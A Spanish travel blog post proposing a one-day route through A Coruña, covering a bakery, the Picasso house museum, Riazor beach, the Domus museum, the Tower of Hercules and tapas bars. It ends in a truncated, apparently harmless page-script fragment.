A Coruña sin meigas

03/03/2016

A Coruña

Necesitas desconectar, piensas que te vendría bien un cambio de aires. La Coruña… ¿Por qué no? Apenas será una hora de vuelo desde Madrid, y, además, dicen que últimamente la ciudad está que se sale. Así que haces la maleta y te vas para Galicia al son que marcan las gaitas. ¿Meigas? Ya sabes el dicho, «Yo no creo en las meigas, pero haberlas, las hay«, así que metes en tu maleta un diente de ajo, que dicen los entendidos de estos temas que son muy prácticos, y te vas para el aeropuerto con tu billete en mano.

Aterrizas en La Coruña, la capital de la provincia homónima, la ciudad donde Hércules luchó contra el rey de Troya (Gerión). La que mira al Atlántico y a la Ría, en la que casi siempre llueve pero no importa, y en la que, a diferencia de Vigo, donde se trabaja, se va a divertirse. Y, bueno, si hay más tópicos, los puedes tachar de tu lista, porque ésta es una visita si meigas. 

24 horas en La Coruña

Si llegas temprano de tu vuelo, puedes acercarte por el Pandelino Bakery Shop, en Rosalía de Castro, 7. Aquí, en éste lugar tan céntrico, podrás tomar fuerzas para la mañana con un buen desayuno. El confortable local, decorado al más estilo provenzal, es una panadería y cafetería gourmet perfecta para disfruta de una buena mermelada de limón o mandarina, té, café, y un surtido de pastas.

De aquí y a pocos pasos, algo que se agradece cuando se trata de caminar con el estómago lleno, podemos ir a la Casa Museo Picasso. Para los que no lo sepan, Picasso vivió sus años de juventud en La Coruña, de los 9 a los 13 años, tiempo para ver a su primera mujer desnuda en la playa de Riazor, enamorarse (no necesariamente de la misma mujer que vio desnuda) y mostrar por primera vez su obra en público. La familia Ruíz Picasso se alojó en la segunda planta de un céntrico edificio que hoy ha pasado a ser la Casa Museo Picasso, donde conocer algunas facetas íntimas del genio.

Saliendo de la que fuera Casa de los Ruíz Picasso, se siente el salitre y casi el rumor de las olas, por lo que el viajero que escapó para cambiar de aires querrá pasear por la Playa de Riazor, la playa urbana de La Coruña. Toda una playa Bandera Azul que, paseando por el Paseo Marítimo, se puede disfrutar, con su arena blanca y su forma de concha.

Si seguimos bordeando la Playa de Riazor, a poco más de media hora caminando, llegaremos a la calle Ángel Rebollo, donde podremos hacer un viaje interactivo por el cuerpo humano, como cuando veías los dibujos animados de Érase una vez… El cuerpo humano, ¿recuerdas? Pero en lugar de en la pantalla de televisión, lo haremos en el Museo Domus, el primer museo interactivo sobre el cuerpo humano, ubicado en el moderno edificio del arquitecto japonés Arata Isozaki.

Ya puestos, saliendo del museo, la Torre de Hércules nos queda a pocos pasos. Nunca un clásico estuvo tan cerca de nosotros, a sólo quince minutos paseando. A pleno aire del Atlántico, encontrarás éste faro romano, todo un Patrimonio de la Humanidad.

Y ya para terminar nuestro día, y ahora sí, mejor en taxi o transporte público, no hay mejor que dirigirte al triángulo que forman las calles Estrella, Barrera, Galera y los Olmos, allí encontrarás los bares más típicos de La Coruña. ¡Una buena tarde de  tapas y vinos te espera!

Foto | Turismo de A Coruñavar d=document;var s=d.createElement(‘script’);